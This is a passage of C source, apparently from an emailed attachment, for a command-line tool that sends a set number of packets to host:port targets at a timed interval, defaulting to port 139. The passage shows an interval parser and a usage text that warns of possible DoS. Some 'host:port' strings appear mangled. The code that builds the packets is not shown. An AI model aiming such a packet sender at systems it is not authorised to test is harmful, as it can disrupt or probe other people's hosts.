add_target_ip(arg, in, port);
}

return 0;
}

/*
* u = micro
* m = milli
* s = seconds
* return value is in microseconds
*/
u_int get_timevar(const char *str)
{
char p, u, *ptr;
unsigned int len;
u_int i, d; /* integer and decimal, respectively */
u_int factor = 1000; /* default to milliseconds */

if(!str) return 0;
len = strlen(str);
if(!len) return 0;

/* unit might be given as ms|m (millisec),
* us|u (microsec) or just plain s, for seconds */
u = p = '\0';
u = str[len - 1];
if(len >= 2 && !isdigit((int)str[len - 2])) p = str[len - 2];
if(p && u == 's') u = p;
else if(!p) p = u;
if(debug > 3) printf("evaluating %s, u: %c, p: %c\n", str, u, p);

if(u == 'u') factor = 1; /* microseconds */
else if(u == 'm') factor = 1000; /* milliseconds */
else if(u == 's') factor = 1000000; /* seconds */
if(debug > 3) printf("factor is %u\n", factor);

i = strtoul(str, &ptr, 0);
if(!ptr || *ptr != '.' || strlen(ptr) < 2 || factor == 1)
return i * factor;

/* time specified in usecs can't have decimal points, so ignore them */
if(factor == 1) return i;

d = strtoul(ptr + 1, NULL, 0);

/* d is decimal, so get rid of excess baggage */
while(d >= factor) d /= 10;

/* the last parenthesis avoids floating point exceptions. */
return ((i * factor) + (d * (factor / 10)));
}

void usage(void)
{
printf("Usage: %s -i <interval> -p <port> -n <pkts> host1ort1 hostnortn\n\n",
__progname);

printf("-i sets packet interval in milliseconds.\n");
printf(" You can specify Nus for N microseconds, or Ns for N seconds.\n");
printf(" Default is 0, which is good for multiple hosts and one packet.\n");
printf(" If you want to send continuously, specify 1s or more, so as to not\n");
printf(" cause DoS due to sheer traffic volume.\n\n");
printf("-p sets the DEFAULT port (139 if not specified)\n\n");
printf("-n determines how many packets to send to each target. Default is 1\n\n");
printf("hostort combinations can be given as such; 207.46.130.108:80\n");
printf("The port part of a target definition ovverrides the defaults.\n\n");
printf("Hostnames will be resolved, if possible.\n");

exit(1);
}

--------------030305010802080805030904--